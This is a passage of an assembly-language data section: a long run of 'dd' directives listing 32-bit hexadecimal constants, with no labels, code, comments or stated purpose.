1A7AC470h, 2D01507Ch dd 8E7EEC4Dh, 0BAD02B76h, 877130A7h, 0FEA60E51h, 4EF47073h dd 0DD5ACC07h, 3E4028EDh, 0B029E2h, 4DF34F7h, 15F1DC72h dd 88265B05h, 0A81EFA7Ch, 56D19E85h, 307B9C40h, 0C0526CA8h dd 408A9D11h, 0FD0F2CDAh, 8028D49Bh, 0B2D015A6h, 0E14F673Bh dd 16BA216Eh, 41EED505h, 9296ADC8h, 2820E0A1h, 18A856h dd 27F5C75Fh, 0A52A95BEh, 0CA2B5804h, 5C881C62h, 560F06E2h dd 909983A9h, 47281106h, 3021E79Bh, 5B185CC3h, 0A9C0336Fh dd 0E418029Fh, 0A382267Dh, 0FD443E10h, 0DE0E0C99h, 66A0A0C9h dd 102D56EFh, 60AFA72Eh, 0AEBC3028h, 0B8500047h, 93A39F1Ch dd 21C3F1D3h, 69137Bh, 86638949h, 84CA4A5Fh, 2600E472h dd 464097B8h, 0CA6312Ah, 1CE05077h, 90178831h, 0FB6261h dd 3921794Bh, 0A418B224h, 7061546Ch, 0CB12006Fh, 58EA4120h dd 2826714Dh, 0A3078BB3h, 3330F8D9h, 0C54855h, 15B0D380h dd 0FFEF3CB6h, 25E22400h, 16D157BDh, 80E72E68h, 0AA6F9E94h dd 0F2A10384h, 1A305BA3h, 3835E4A8h, 0CA6F9B18h, 27C1E81h dd 51F3EB56h, 0C884FFDDh, 6C0F4560h, 801D140Bh, 55DF1BCh dd 238B938h, 71F4E9E8h, 0EEC0DE40h, 83DFBB3Ah, 0EFA34F8Eh dd 0C1491766h, 0C7CB1C31h, 708C5459h, 0A616355Ch, 0F96BB705h dd 0C8309B1Ah, 7599C72h, 0E661CE2Ah, 8441805Fh, 0B006E19h dd 9A7367D7h, 0B0CD39B9h, 4F301ECh, 9B97601Ah, 0D74C4043h dd 51C092B8h, 24E9FA40h, 0A3441301h, 7F500151h, 916B4AF4h dd 78009C78h, 63529341h, 0A9026AC1h, 5198BEA0h, 239C401Eh dd 48EE3068h, 9AB8FE61h, 0D7CF88h, 84EA1981h, 26FA4A8h dd 0F67A1BEEh, 8FB8C111h, 0F9CE800h, 0EEC4F54h, 438BD700h dd 0DE163C58h, 95B03CF9h, 617190h, 439DE5B7h, 57D25Bh dd 6B246704h, 0BD817F4Dh, 0D9F03D13h, 9153E10Dh, 97E4F0h dd 0A7A9CAE3h, 6C46165Fh, 34712224h, 3C3F6640h, 65E300AAh dd 3A5C218Fh, 0B9007222h, 32FF52AEh, 5009C836h, 0F866C050h dd 44B265h, 24E39115h, 0DF4C57E0h, 55487600h, 96E59489h dd 0B5440025h, 0FFC370C2h, 6F078B4Ah, 1974FC60h, 9852380h dd 0D7A3015Fh, 7DD3898Dh, 6C62E1h, 0BA34F235h, 39F1519h dd 0AFD50376h, 12EA61A4h, 3E86D9E0h, 311AE130h, 3AFEF39h dd 82FAE4F6h, 71AF2373h, 5099E69Ah, 1BC82684h, 5E6FDE12h dd 85B28043h, 0E292B8BCh, 4FEA1D07h, 845A409Eh, 0D2E8467Bh dd 72489A1Dh, 58201BD2h, 1FF57732h, 8FDEA4C5h, 23279078h dd 3010C976h, 2FE4C82Bh, 9A8F3Fh, 2A36E696h, 417ED7h, 0F7542CBh dd 63D19329h, 0FFC089DFh, 21A0BA7Ch, 49A7602Dh, 0F1C8D114h dd 0DFAE5A00h, 55F66205h, 275C00C4h, 47C15652h, 99C072E0h dd 0F7EDAA70h, 0EFF9003Ch, 7EF8AE9Ah, 9D007D28h, 0B629D893h dd 0B00B6ADDh, 1DEE1D24h, 33C7008Fh, 3487A0C5h, 6DC9D306h dd 815132h, 0D8CC1CECh, 5A57AB19h, 0E149540Ch, 3F88711Dh dd 7E03F1B5h, 733E06C3h, 0D48FC1B9h, 0FC05FA78h, 0B28B5504h dd 0E1689005h, 53A65400h, 5EA395h, 0C1DA8B5Dh, 7D59EEF4h dd 0E8F67B0Fh, 7EA0085h, 1249D8A7h, 307C409Bh, 0ADE6B38h dd 9D1D9672h, 82C3BEAEh, 0B0C598B1h, 0D367CBB8h, 717E1B71h dd 0A75870D7h, 7500615Eh, 95F854D0h, 3B0E8081h, 884C458Ch dd 106459C7h, 0D68B477Ah, 0AD042672h, 86DE9AFEh, 2A5FF000h dd 310651C6h, 97B97BF8h, 1E360019h, 0C15BC9AAh, 6A00C8B4h dd 0C2475239h, 99B7C505h, 0BE580E08h, 6425801Fh, 0A6C645F9h dd 0A268BC00h, 9F19D32Eh, 17327493h, 119C73h, 0E476B668h dd 9B1842DCh, 0A84980B9h, 0FD7100CEh, 48F5E393h, 0C0007AFFh dd 0B58D4BE2h dd 5422A1h, 4F500EF6h, 6BFF6720h, 0D760DEFEh, 0C9E1135Eh dd 0F0597B8Dh, 80F8AA4Eh, 11C8EE59h, 0CBB0014Fh, 0FD12CACDh dd 0D466FDB3h, 8F2583Ch, 1BEDD602h, 51F326AFh, 519B0144h dd 41D28BAAh, 338A39AAh, 0CDE60958h, 0D92B804Dh, 0B6E053h dd 0D00F847Dh, 382E7A3Dh, 442D5128h, 9FD76F1Fh, 408B49CFh dd 0C7BB634Ch, 0CFDD00D4h, 31E70CE3h, 182E9ED3h, 0BE60EC65h dd 402352Fh, 8ADEA1ADh, 0C7F8CC3Ah, 0F81CFF00h, 44403C1Ah dd 48610BB2h, 498F28Dh, 877CBEE3h, 17025FE0h, 51C1357Dh dd 0E974C20Fh, 0B9D4EDDCh, 0DA240008h, 0BBF9E35Ch, 8D1FA03Ch dd 0EEC51E3Fh, 44C23079h, 294C6414h, 154CD90h, 4F11EA0h dd 0ECC42138h, 0E0F541ACh, 8B1FF07h, 848C6280h, 4866A6DFh dd 0B002047Ah, 0A21C3A26h, 109D60C1h, 208448h, 0B5B07BBh dd 0D74F305Ah, 0D879600Bh, 63D80438h, 50CF4842h, 705FA840h dd 3920EB0Eh, 21640C62h, 17192689h, 808829C3h, 11365362h dd 0AF3B65AEh, 320C8674h, 212C71h, 1E0B8FD8h, 6B7FD560h dd 0EAD0CE0Bh, 898501C5h, 0A8F47861h, 9BB732C2h, 0E562BFB1h dd 0B4B93183h, 0A4D2680h, 0DDC77100h, 319DA8ABh, 0E4A14839h dd 0B4F05C7Eh, 82471588h, 0B3D86290h, 0CD87381Fh, 0EC708600h dd 9CD41D49h, 0F17E009Ah, 0D781761Dh, 0CE65D300h, 251C9243h dd 0C02B3A95h, 813CEE7Ch, 83364263h, 0F862B892h, 0F22339h dd 0E5C73DABh, 815D0AADh, 9A725300h, 3B80BD09h, 14B88842h dd 2043EC00h, 629AC7ACh, 0A1190049h, 872D6983h, 0F6248BA7h dd 6C01F039h, 5A8661B9h, 0CBF420h, 70A64897h, 0DEED51D2h dd 0D489A803h, 53AE6AFh, 71B5DF10h, 9E844360h, 0D5E8AD8Bh dd 2200D04Bh, 0B4BB7273h, 3E74A8Eh, 0AF1850F8h, 38A0466Fh dd 53CAB6Ch, 0DC404A7Bh, 2BF906E8h, 2F3A1EE1h, 0EFB940A0h dd 9342EA78h, 15FC1B52h, 8491B8h, 650440FBh, 90FC2B4Ch dd 1FA10088h, 8481EBBFh, 0CC9A68B8h, 0C9CEAB00h, 7221E124h dd 12BF2A0h, 0F704DB0Ah, 29EFF8E3h, 0CB3B07E4h, 5E4082C4h dd 0A0CAA471h, 132C52FDh, 0D014628Eh, 0FF6A8990h, 242FD126h dd 8B572C60h, 0BCB10092h, 865C60A4h, 0EAF648F4h, 889EA900h dd 3C5A5FCEh, 7E9A0067h, 0A8A63219h, 4D007334h, 4171BAE8h dd 0C9B384Ch, 63B85E48h, 1F003BC1h, 0BF947F05h, 0C9DC92h dd 0FD2F627h, 0C377022Eh, 54D53Dh, 2A2FC682h, 0FEC84050h dd 6CBC25CBh, 0B0038ABh, 1BFD79AFh, 1AD64E02h, 0E471289Fh dd 3FAC0038h, 0C8D52721h, 56005965h, 26D42B82h, 1D1CB96Dh dd 380E6FCh, 0E33991BDh, 559CB81Fh, 10FC20A7h, 6DE9DDh dd 0DE0F2CD7h, 618CEB4Eh, 4F002BE2h, 0FC091FD8h, 61E93h dd 83F72334h, 4C71EA1Ah, 19758500h, 0EE29365Bh, 0E71D04DBh dd 905638C4h, 1FB8B064h, 4B63DA00h, 0F2BD64EBh, 4D323072h dd 0A5FFE021h, 0BEE55500h, 0FE4BB315h, 0E41B2EB4h, 94E21694h dd 0C66C80D0h, 2A175B65h, 0FA10100Fh, 3FF480E0h, 389249DFh dd 0AD00BDC1h, 0ACFCD0F0h, 0B94A473Bh, 0C539CC40h, 26080B5Dh dd 0C054D51Eh, 122E8C40h, 25EDCD00h, 8E271860h, 0D70B0078h dd 0D3B9790Fh, 0BA007616h, 55DE70E4h, 13979CC3h, 207B712Ah dd 6EFED76Ch, 23AB4F01h, 6F317CF0h, 7DB2B8FFh, 0D8A46Ch dd 5C28FC3Eh, 0A07303D5h, 0E2BDAB00h, 637E420Fh, 402496F2h dd 0EA3E357h, 6FF54716h, 0ADB51090h, 606800DCh, 4531AF67h dd 0A9E00C1Fh, 1EECDE00h, 0FC0BB948h, 5B300862h, 0B89D656Ch dd 0E5CEA00Fh, 0A800191Bh, 29CB73CFh, 16B5F069h, 94EE6863h dd 0F350CC60h, 22EC4707h, 0A4B0B92Fh, 12B00C0Dh, 92E0F87Ah dd 0DF805B60h, 0CBBB7052h, 0FC427202h, 79996827h, 944A084Ch dd 749C7281h, 0EB30FC71h, 380C1868h, 3F7F29A4h, 507F098h dd 19E13D24h, 40772CE2h, 71BF1405h, 9B30587Bh, 9EDADE04h dd 1E8CC19h, 7781F491h, 0A5572804h, 0B3007073h, 0ED0D2E9Bh dd 0E100D823h, 43C8DBCAh, 0FA6A9087h, 659C0379h, 0D4C1D370h dd 0E246E0A7h, 0FCB197BAh, 0E5EBDD81h, 0ECC8B117h, 0CA7D00D7h dd 45CB9B22h, 0E000AE19h, 34C45CD9h, 2CE2D2C3h, 0AC909708h dd 0C07065ECh, 0B44F6C11h, 0AD0EAB00h, 0A2CE289h, 691C39ECh dd 66D1B21Ch, 0D70C05E4h, 9C64CCDFh, 74A48100h, 0DA6AED43h dd 0C0136048h, 85CD5E15h, 325A990Eh, 80DF4B9Eh, 0A3967036h dd 70E758C6h, 85D5A81Eh, 8C952730h, 0C600EB4Ch, 5CD7D0ADh dd 73112F9Dh, 0F3E0F0Eh, 9803419h, 0E051D601h, 37019891h dd 5CA34D96h, 608AC442h, 62E86238h, 3A98509Eh, 4E00F852h dd 42114592h, 4F55B23h, 0AB1E03B3h, 0B6FCC2D4h, 320570E0h dd 80006C5Ch, 9485C91Bh, 9C78006Dh, 8A8E719Ah, 0CE032AA4h dd 947356Ah, 0F57FB6Fh, 0C2C15631h, 444EFCE0h, 0C03C94Dh dd 0E17F276Ch, 6AB10379h, 882545B8h, 0D91FC8C0h, 0CF004EF0h dd 0EBE32127h, 76B2E239h, 48D50032h, 7B361218h, 41CA6B19h dd 0D840C03Bh, 0E16BF05h, 9062BB6Ch, 84CA5C80h, 0AB01EA3Fh dd 7919E247h, 0BC73D502h, 2CD85A00h, 606C4D18h, 0A1DE3Fh dd 0BC25B919h, 0EE0A27C2h, 3D8C0B75h, 0A880A2C9h, 127BAA48h dd 3A8D8C96h, 0A101819Ah, 0E5ECC14Ah, 0B9250089h, 0DD28F76Fh dd 8058FF79h, 4B68C16Ch, 0B4DC821Dh, 0BE7B0064h, 0F55742D9h dd 0F4986750h, 0A041FD4Bh, 19A21BAAh, 5ADB98C3h, 852E002Ah dd 64D5F80Dh, 0E0008C17h, 679A71E9h, 0B87C8AEh, 1C74661h dd 74925890h, 707AF700h, 8859E22Ah, 0A30E02D2h, 0B40F1626h dd 76F73860h, 162D60Ch, 9C90791Bh, 1FCE6158h, 1019D0B8h dd 0FF37A700h, 5CB372A6h, 682938E3h, 0C33992B3h, 48F151B8h dd 4CC13301h, 0DD8B9B64h, 18D744CCh, 480E9FA3h, 4A581A09h dd 71650078h, 9AEBD5C4h, 54E20795h, 0D02C3FB5h, 259ECEDEh dd 3141E8B6h, 0FAF044E1h, 596C3037h, 275C6D19h, 0D4C9EC02h dd 630E52D5h, 6E41D764h, 9985503Bh, 0C074972Ah, 898F58BFh dd 0F1521D0Eh, 93B8C999h, 8079FB44h, 135023E4h, 8869FFCDh dd 0ED7B2490h, 15C3F39h, 9C017183h, 67131AFEh, 43C2BAE8h dd 0E70CF403h, 0ADF4D28h, 0E05F4A88h, 0F3520014h, 0FF0BB1FBh dd 604D4B00h, 216B8E6Eh, 246C98A1h, 40146FB6h, 74F5FB6Ah dd 12176000h, 3147B42Ch, 4F4F28Ah, 0E0A7C610h, 0F1FE401Dh dd 0F6C20EB3h, 77780005h, 20DA9A6Fh, 59EE60B9h, 6407BFFAh dd 0C083A728h, 0C55011E0h, 515D327Dh, 3CE60DA8h, 0B28DA124h dd 0FC3A803Ah, 0DF79947Ch, 0A1C002Bh, 5552C4FBh, 0CD0A8B30h dd 0A8EFAF4Dh, 478E1902h, 0EA8C6F3h, 0F66B5349h, 97E0110Eh dd 6AB82273h, 90B40707h, 40A0C832h, 4CD87B5Eh, 8B005813h dd 71A1A0E3h, 0AA00B04Dh, 3663BA67h, 98941062h, 9AA7124Ch dd 725892E4h, 0C71C5FC0h, 7FD38707h, 0E050B016h, 0B348203h dd 26909E25h, 1E7B3CE8h, 398F9096h, 0ACD032FCh, 0AF7DBA5h dd 0AC205DFEh, 0CD424E6h, 0A0606E1Eh, 0B2166273h, 64300F7Bh dd 2E72071Ch, 17C5F1Eh, 8B839AA0h, 0C4693Bh, 89726C3Dh dd 0E174Bh, 6B88FE43h, 0DF27ED1Eh, 0B7CA4A17h, 0C2479090h dd 0C5A35C5Eh, 0AEED3600h, 7F6D204Eh, 50AA6800h, 0FB9A7503h dd 81D4B193h, 7180E5Fh, 1380802Ah, 87D68B9Ah, 0FF9E3A6Ah dd 62EF1900h, 43AA34EAh, 2D9DAD00h, 0DE114968h, 28015CD1h dd 1032E580h, 0E40017EDh dd 43B2B09Fh, 0E0B30FB1h, 0C07A18AFh, 0AB647094h, 30E25C80h dd 0D7F0C9D3h, 52716189h, 8DEE4DFEh, 28C28204h, 2CC0ACEDh dd 0C05C57DBh, 1234AFA0h, 8F507484h, 6A05A69Bh, 0D9F3B660h dd 83807C87h, 4E8A370h, 9086613Fh, 0CBFC8C22h, 7B55411Ch dd 1648212Fh, 208AD6h, 79BF247Dh, 73400728h, 1845D04Dh dd 78C00CA8h, 1E4134A2h, 302B1D24h, 10906D9Bh, 44B1FE69h dd 0C067AE0Eh, 0A20050Ch, 930B2CBEh, 6FFF0110h, 9287F5E2h dd 0E423FDF4h, 5AB2E04Ch, 46890F8Ch, 3E444715h, 647CB4E0h dd 83F42605h, 5882785Eh, 0B5001468h, 674F35D2h, 2541270h dd 43558476h, 61C0CC6Ch, 41D92FAh, 1E9EC331h, 7E84136h dd 89825723h, 0D680910Eh, 940C6C0Fh, 80A13F3Ah, 0F54684C9h dd 39720AAh, 4C1BBDF6h, 1FE144CEh, 19387404h, 7253020Bh dd 0C4476h, 2FB3A4CFh, 435EED73h, 0D0AE4D01h, 6AC90FCAh dd 24FDCE4h, 8C6DE033h, 0A442FD74h, 70001C44h, 86046902h dd 0E1163Ch, 0A0345D0Bh, 0E94C3F4Dh, 0EB240778h, 550B28ECh dd 95C9B42h, 5E31A21Eh, 7DE68098h, 236EA400h, 21A1CB7Fh dd 0E1EF6AAh, 0E2D13B4Fh, 0D7613001h, 698060D2h, 501364FAh dd 0DF00BD63h, 68CA48FAh, 0B189265Eh, 0F9AA0050h, 0FE70C2BBh dd 5103CCB0h, 277E4931h, 0CF17A007h, 449C3971h, 1658C783h dd 809C4F63h, 6940EB64h, 0B1165498h, 50D0B8D7h, 3FBF13D1h dd 0D680301Bh, 75F54EBCh, 0A2074DDFh, 9E29CDC6h, 7B9CE83Bh dd 4C6C9E1Dh, 2C1FD488h, 9BC2AF85h, 591562FDh, 0F8B3A7Ch dd 588FDF8Eh, 46C000F1h, 0D3E40BA1h, 61CB0036h, 302AA521h dd 0F4B83E70h, 120A3080h, 0AE1BC213h, 87F6AC00h, 16EBD76h dd 9C8B739Dh, 305251E5h, 0C8B2AA08h, 0FDB1D912h, 9F58A4h dd 57EA958Fh, 129AAEF9h, 0FD2731Eh, 0FD4090A5h, 0EFAA0F9Dh dd 0F463351Ch, 3BB0F190h, 1B44E0FBh, 248900DDh, 0C191B921h dd 480D2C5Ah, 2162077Bh, 148AD3FCh, 0E50DA918h, 474B3812h dd 0D0B03944h, 5615AF30h, 0F158A600h, 0B22DF511h, 0A7A2004Ch dd 0E778C49Fh, 9C006E67h, 75C17159h, 0A084B482h, 393ED1F8h dd 1E00FEF3h, 0DE70E22Eh, 0B94F68E9h, 7190440h, 0F64A293Bh dd 371400FAh, 46A87109h, 0F43D958Bh, 504CFEC3h, 0A20D0234h dd 8E70E378h, 2458BA6h, 80129C54h, 2F4613A0h, 30994C68h dd 5878E489h, 0D24C7678h, 49EC7F20h, 0C070590Bh, 0B89418FAh dd 427A30h, 5C3D384Ah, 7787EC1Ah, 0CA015B38h, 0AEF13040h dd 48B7C2h, 0CB1D3D40h, 9C55DF7Dh, 4B00EDEEh, 0D9DB32EAh dd 253062C1h, 0C4276C17h, 41DD6175h, 4676C0C0h, 0B68AA712h dd 71EEC88h, 0BF601106h, 0D96A50F3h, 831F1DE4h, 31804927h dd 684C71F6h, 17183E0Fh, 73016209h, 104D6891h, 303376Bh dd 97D04080h, 1925B710h, 28B810D6h, 9BAB0039h, 8BBE89C4h dd 0BA17E0DDh, 0E091E107h, 6BFC2F25h, 0EEAD0086h, 0E9028035h dd 85055182h, 0E276CB69h, 0E4814C0h, 9C220750h, 0B99B47B9h dd 6A1F90C5h, 2A090078h, 372485Dh, 1A8F00ECh, 1CB97911h dd 3A4B52AEh, 0A8246093h, 0FC9B62D5h, 0A7260835h, 0E0A59A4Ah dd 7E2F3B3Ch, 0B4DF0679h, 18A7F286h, 9727D378h, 0EE88988Dh dd 58D15CABh, 0F46C1112h, 5B1DDE24h, 0FA007F62h, 0DD73F0F1h dd 6AFB00CCh, 0D019B229h, 5C77E65Eh, 2AF9BE07h, 0A42AE15Fh dd 3C343280h, 0EAFE47h, 881CB2D0h, 0CC96D55Ah, 29E07100h dd 0E293DCA9h, 0F5DD097Dh, 0F080FF79h, 788DC416h, 0C36A9000h dd 0EEDB4B72h, 7287E75h, 0B5B31EB6h, 0A43BE408h, 0FF0FDD74h dd 0A1FB7264h, 7BBD6624h, 20C1430h, 37AB0F0Eh, 0D446C440h dd 0EE3C8505h, 15C08F48h, 0FA0B450Ch, 3F22009Ah, 17C2A195h dd 0CCA64B7Bh, 0EE7E38F4h, 5391E300h, 0AB76CDEAh, 9AFF1827h dd 0FDC3F1E6h, 2D80B499h, 5C53A560h, 7B750049h, 1C83713Fh dd 0EB000D6Eh, 192EFF4Eh, 3B762Bh, 489B1D24h, 0A9307B67h dd 0DDFCC8A0h, 1262F713h, 77433C21h, 1120422Eh, 887A01FBh dd 27D28900h, 0B64DEB8h, 48356114h, 2867C15Bh, 0B6F780F8h dd 26098Bh, 1E954760h, 118DC76h, 8EB7D712h, 20F31C40h dd 44E1C0h, 34EBCF2Bh, 7EF3711h, 704AA7F0h, 98974042h dd 4E14744Dh, 81B00F1h, 0FE7DAB1Fh, 54260B50h, 9C66F1F3h dd 4592E30Bh, 26E01879h, 762001Dh, 50E513D7h, 7B7B8319h dd 3967A07h, 7F07BB3Fh, 871C9h, 565BD61Ah, 8C007BD8h, 76F12752h dd 129804Fh, 1DF064CDh, 38496F66h, 687C80DCh, 1DA4A09h dd 0ADF1C613h, 0D441601Fh, 9A4CC4C3h, 0A12000C0h, 0DC5875D4h dd 0FE20187h, 0ACFB4172h, 6C22E0h, 60C46D9Eh, 0B045EE81h dd 386C00E7h, 62AC0A5Dh, 0FF2E11D8h, 13607050h, 0B92CE5Ch dd 0AD410A3Dh, 4A70D600h, 0B1000E33h, 0D3223F5Ah, 0E4654897h dd 993E00FFh, 6AB960F4h, 74919FAAh, 7407C482h, 0C780FF4Bh dd 0F60013Ah, 0B2FFA700h, 835EF1Ah, 0CC90128Ch, 2044962Fh dd 0DD80AC91h, 0FAD461B9h, 7AD90546h, 43CC6FB3h, 6970810h dd 7E44D588h, 72D7CD00h, 11C83477h, 0B7471DE0h, 0F8E85BAh dd 28FC88E1h, 2B01DB73h, 0E7DEC297h, 646D6C80h, 0C75B633Dh dd 0E08E375Ch, 0F13602ECh, 0F2522200h, 4A640575h, 88494FFCh dd 700EDB00h, 0A2782704h, 441F6834h, 0E42B16B0h, 0A20C94FDh dd 24368038h, 940BC5Ch, 0D19323C6h, 5380E013h, 273AE22Bh dd 13C8CC52h, 80203B8Ah, 0B08E83E5h, 0CB2A01B4h, 9B48E7F3h dd 210FCB9Ah, 259029EDh, 78CC7B5Fh, 2C6A1751h, 0B1080FA0h dd 39E15B80h, 7DF0AD1Ah, 0A0B8292Ch, 1980B824h, 0BD0CE223h dd 44324C6Ah, 0ABB8FC80h, 8100287Ch, 20AED518h, 9F7A39h dd 0F1A52C5h, 34C92F98h, 18E9EF00h, 0A315F0DCh, 6EF40F6Ah dd 734126CFh, 3E9ED04Dh, 0E5A88020h, 0C7BC0010h, 5A4EA65Bh dd 0AB2D9CF7h, 8F9C9A16h, 1B7B2438h, 901330ADh, 50A8B422h dd 2D3038B2h, 0CBC5E093h, 0F250584h, 0E5718360h, 0CC2FE020h dd 59CA3900h, 0E14AB9B1h, 51F33F12h, 2302AA81h, 2EA780FBh dd 0A50E5021h, 56F07031h, 302A0535h, 0B4B88738h, 8E3D7268h dd 17670027h, 2CEDC880h, 12BA768Dh, 90B91665h, 0F3CF452Ch dd 0A2A0990Eh, 0C93F40DBh, 47929CDh, 0E0D2C88Eh, 0F5FA4070h dd 0EA2DE48h, 1C7A8DCEh, 3D0B3700h, 13B6BBCh, 5DF80FDh dd 24070DE0h, 0E43B4818h, 0FB9A1309h, 0FD02DCCCh, 17348374h dd 4E2476E0h, 401FB7AFh, 48A84CCEh, 6CE4871Dh, 78BF1504h dd 88ACE755h, 0DD6A8280h, 0E500997Fh, 0E920C731h, 10F9C42h dd 0BE8A340Bh, 70E72DF1h, 0B84C5AD4h, 0B5C880CCh, 564E5E6h dd 4C75E93Ch, 4212D070h, 0A0C207FAh, 0E03F3B0Fh, 7D416BC4h dd 0BBCE09E2h, 7864EDB0h, 601B2A00h, 7819872Ch, 17A60068h dd 5C31BD42h, 29097902h, 8006AB34h, 5148B47Ch, 0E9CC6A93h dd 4820E4h, 92375473h, 0CA9FAFC4h, 0E79A5300h, 2F4071A0h dd 2B6702C2h, 439B7404h, 0D1253052h, 368C48Dh, 6B34D5EAh dd 3C07242h, 44991A9Eh, 7F5C002Dh, 0AAD771h, 8298CB3Dh dd 0FF15C9D3h, 0C1B7AB05h, 58C39372h, 0C5DEB0B0h, 20715036h dd 734A0132h, 0D28A135Eh, 3F40E07Fh, 3151D500h, 0CB7C1030h dd 771C012Ch, 509E5682h, 242DE1h, 0E71BDB03h, 4D6794Fh dd 0BDB3460Eh, 478ACC6h, 0D8A7828Ah, 2CFE0C88h, 9A62DB9h dd 9C681A90h dd 7E00D671h, 0E22428F3h, 0F6197ABBh, 6FE12A6h, 0E9B8B027h dd 0E83D132Ch, 14FC6D00h, 2DEE856h, 2B6A9EC8h, 6C543A8Eh dd 8C20AF47h, 0E61BC9A6h, 12F8C192h, 220162FCh, 0CAE050FCh dd 0F8481497h, 0F0189737h, 0DF0A87B1h, 0BE749C5Fh, 94479A01h dd 79FA90B3h, 0ACA0060h, 0E9CED751h, 97B9B809h, 0FE3C4843h dd 0DDF70370h, 2A9EDFA3h, 9FD6D03Ah, 0A0AF1932h, 10AFBFE4h dd 3DC60FCFh, 0A939689Ch, 803028C3h, 15CE3474h, 0EAC9002Eh dd 0D22AE19Dh, 0ED00368Ah, 76DACDC1h, 99E49ABFh, 0AB010020h dd 0ECCC65D1h, 661218F6h, 94B27D9Dh, 4DC2A007h, 272BD30Bh dd 241229D8h, 0B60638h, 72ED2E69h, 99077B0Dh, 234B00E4h dd 0CB615F4Dh, 0C8054B8h, 8312A734h, 70E22CD0h, 0C09B821Fh dd 11E2C80Ch, 6A004D2Fh, 0FD761FCAh, 0E2682530h, 3774A19Bh dd 0F9A7DD4h, 93EF5C57h, 463005B6h, 0FFC4004Ah, 9A689D49h dd 1C0044B1h, 95AA08BAh, 0DE190751h, 0A478E557h, 0E0AD71h dd 0D3CD08B2h, 9595B913h, 0E1585C90h, 7225D400h, 7EC8C90Ah dd 0DA40078h, 7FFD783h, 5B03D070h, 93575FD6h, 0B771091Ah dd 0F4806A49h, 404388EDh, 9081B48h, 0FF17867h, 4C572044h dd 52B623h, 0CFDEC624h, 1EBE3411h, 0C89CB01h, 0B97D9C72h dd 25F0A18Eh, 87DD5C20h, 4010D18h, 66AE9507h, 0B9CD9ACEh dd 770B9C22h, 0E3034052h, 41B63490h, 8794B94Ch, 0F3E0CC68h dd 13E8CD8h, 67536B64h, 483A97F5h, 24093398h, 842651BFh dd 48A24318h, 8027DE21h, 43CF70F0h, 0A6BCA0CCh, 71FD0416h dd 0ECE75942h, 1B688010h, 1E8306DEh, 0D284EAF2h, 0B28C8889h dd 0B138C800h, 0DC1C2F45h, 0D74909FDh, 80055150h, 0C0A4ACADh dd 4EFCF57Dh, 7B80091Dh, 3058E26Ch, 18C8320Eh, 90C81309h dd 0E4D00D4h, 42D0ABEDh, 0A078F690h, 0AAD87B00h, 9F195FFFh dd 4C6BFEC4h, 0D72674CDh, 4FD100DDh, 0BC4C1C66h, 83025890h dd 7BBA5412h, 86647A1Ah, 0D58B0594h, 307F416Dh, 0FB882ED4h dd 6016A901h, 6179C1E7h, 0A0E246F8h, 0E015C8FCh, 0CB191364h dd 27FC887Eh, 8307467Eh, 1B396B4h, 0FC08E7A0h, 42730268h dd 1618488Fh, 36FF0A60h, 24694902h, 8F477556h, 370291D0h dd 71344EB6h, 62070464h, 721D76CBh, 45C6E8F0h, 0CD9500F0h dd 776F3BE6h, 6825A710h, 0FCE4CAh, 2F7F8309h, 6972E349h dd 9A2649B8h, 1B4114E5h, 90226CAEh, 0E44A1F06h, 7801B675h dd 0CA44567Eh, 15E83E89h, 1C02B55Fh, 0C4C02A41h, 0A826DED4h dd 70003E87h, 97285C83h, 0E81C27E4h, 303AA8E1h, 423A47DCh dd 7B5A0BFCh, 1210461Eh, 201097C8h, 0EEB63448h, 6EDA401h dd 8E6A908Ch, 8187102Ch, 0A825E0E2h, 0E800BDE1h, 0B023DB5h dd 0E210D901h, 0CB733887h, 57682981h, 6D6C2B65h, 0E44838h dd 0E03172EEh, 722E07EDh, 0C4441E97h, 24D3C2C6h, 0C0C69268h dd 4B0F78EEh, 80E2A814h, 41DB4F1Ch, 30622DF7h, 36E01C80h dd 58253DCAh, 0F8C40Bh, 1DF29CB1h, 8255192Fh, 90B53CB0h dd 73C597Ch, 50A5916Fh, 7C5CF28Ch, 8E119081h, 6A3F00C7h dd 1C10B729h, 6600C0E8h, 4302762Fh, 7DD0C2h, 9162B355h dd 0D2E5D375h, 7077B000h, 48C3BAEDh, 20E74A9Bh, 8C24B2C8h dd 0E643089Ch, 831D88BEh, 693D00C7h, 7234D221h, 9101FD87h dd 3BB62620h, 203F509Bh, 0A6DE88F4h, 840195F8h, 74F6FB2Ah dd 22D001C9h, 0AADA09ABh, 0AC440E8Ah, 861DA5E4h, 22805571h dd 208BDCFDh, 0A0B526D0h, 0AFA2042Ch, 74A0C13Eh, 1CB620E7h dd 542CC513h, 7700DCB3h, 7A3D1689h, 1D2E33D8h, 9B0F3119h dd 0B134E01Ch, 5C1BD681h, 7D2D8031h, 6B00D464h, 0E4F1A833h dd 3EC7AE1Ah, 755B4Dh, 70E25096h, 498A0CA3h, 0B4109B24h dd 0BE58014Bh, 839D190h, 13BBB950h, 21855AEh, 9E1A2124h dd 0D0F3FC80h, 1587B1Eh, 3E7D8080h, 2F8C5352h, 0FCA1B8A1h dd 0CCE9F5BFh, 4D005E81h, 0D59C95DFh, 9EFD3AAh, 1EC6C13Dh dd 2B00D0F1h, 0E0EC0A67h, 46770A9Dh, 74C5E4Eh, 5170CA2Ch dd 97DCC4CCh, 0D0018BE0h, 6DAB608Dh, 1D7BC20h, 0EE5DB5A3h dd 5397EABDh, 0A873698Ch, 565CC18Ah, 0E2583F10h, 2C625A00h dd 6867D7BAh, 0B9C4919Dh, 27495D05h, 54A20Bh, 6A1E2640h dd 38A6354Bh, 5B003E3Ch, 0D79ADC05h, 68B62DA5h, 0A0B3F780h dd 0EFBF09h, 0EDA301DDh, 0FD7FD7E1h, 0C820CD4Fh, 7DFA558Ch dd 5CC92E1Eh, 60F8244Ah, 879340DCh, 41793C00h, 0DACC8EF3h dd 68165062h, 70C1002Ah, 5CEA34F9h, 1B5B9061h, 0FE7CE8D0h dd 40348866h, 71286E05h, 684010C1h, 7E2A6C7Dh, 90750080h dd 0FD347AE0h, 0EA049E60h, 5D91D6AFh, 0C00D78D2h, 8AB7E49Ch dd 32405056h, 0F0C69EACh, 61500163h, 0A7BA7931h, 28433BD2h dd 997BBE15h, 0D7F1213Dh, 0FDC517h, 6F7A2F44h, 0B1702DA2h dd 79C35100h, 0C672A5A9h, 0F069C0B8h, 0A44963F1h, 5905600h dd 874A777Dh, 0C5C84AF2h, 0CC448268h, 27784464h, 9479D00h dd 51E63C18h, 0ECD558CAh, 885A0F12h, 0C607F62Ch, 1DBF16EAh dd 76A70AA0h, 0D84000E4h, 355BCC39h, 0D216DB8Dh, 1090E0C9h dd 2C759AFh, 0AEC40718h, 29E194C3h, 